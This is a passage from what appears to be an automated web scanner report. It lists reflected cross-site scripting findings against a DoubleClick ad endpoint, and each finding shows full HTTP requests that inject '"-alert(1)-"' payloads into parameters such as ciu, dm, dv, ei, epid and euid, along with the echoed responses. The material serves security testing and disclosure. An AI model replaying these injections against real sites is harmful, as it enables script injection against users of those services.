GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA463451"-alert(1)-"7fbc9de3120&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:21:23 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
736528/41754315/1%3B%3B%7Esscs%3D%3fhttp://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA463451"-alert(1)-"7fbc9de3120&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh
...[SNIP]...

6.14. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [ciu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the ciu request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eea1f"-alert(1)-"dded19aba00 was submitted in the ciu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQeea1f"-alert(1)-"dded19aba00&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:22:01 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQeea1f"-alert(1)-"dded19aba00&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/besp
...[SNIP]...

6.15. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [dm parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the dm request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3e8a4"-alert(1)-"b53d4116977 was submitted in the dm parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=3e8a4"-alert(1)-"b53d4116977&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:22:59 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7570

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
zI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=3e8a4"-alert(1)-"b53d4116977&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-new/whats-new.jsp%26CMP%3DBAN-L0-Discrete");
var fscUrl = u
...[SNIP]...

6.16. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [dv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the dv request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 762cb"-alert(1)-"41ac094a1d2 was submitted in the dv parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=762cb"-alert(1)-"41ac094a1d2&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:22:49 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
DAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=762cb"-alert(1)-"41ac094a1d2&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-new/whats-new.jsp%26CMP%3DBAN-NPI_np");
var fscUrl = ur
...[SNIP]...

6.17. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [ei parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the ei request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e8637"-alert(1)-"c1532cc59a4 was submitted in the ei parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORKe8637"-alert(1)-"c1532cc59a4&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:21:04 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
ape("http://ad.doubleclick.net/click%3Bh%3Dv8/3af3/f/1c8/%2a/b%3B240097157%3B0-0%3B0%3B63021589%3B2321-160/600%3B41736528/41754315/1%3B%3B%7Esscs%3D%3fhttp://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORKe8637"-alert(1)-"c1532cc59a4&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MF
...[SNIP]...

6.18. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [epid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the epid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70e88"-alert(1)-"9bf5214f7d4 was submitted in the epid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=70e88"-alert(1)-"9bf5214f7d4&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:22:11 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=70e88"-alert(1)-"9bf5214f7d4&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/be
...[SNIP]...

6.19. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [euid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the euid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39457"-alert(1)-"015accc670f was submitted in the euid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn39457"-alert(1)-"015accc670f&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
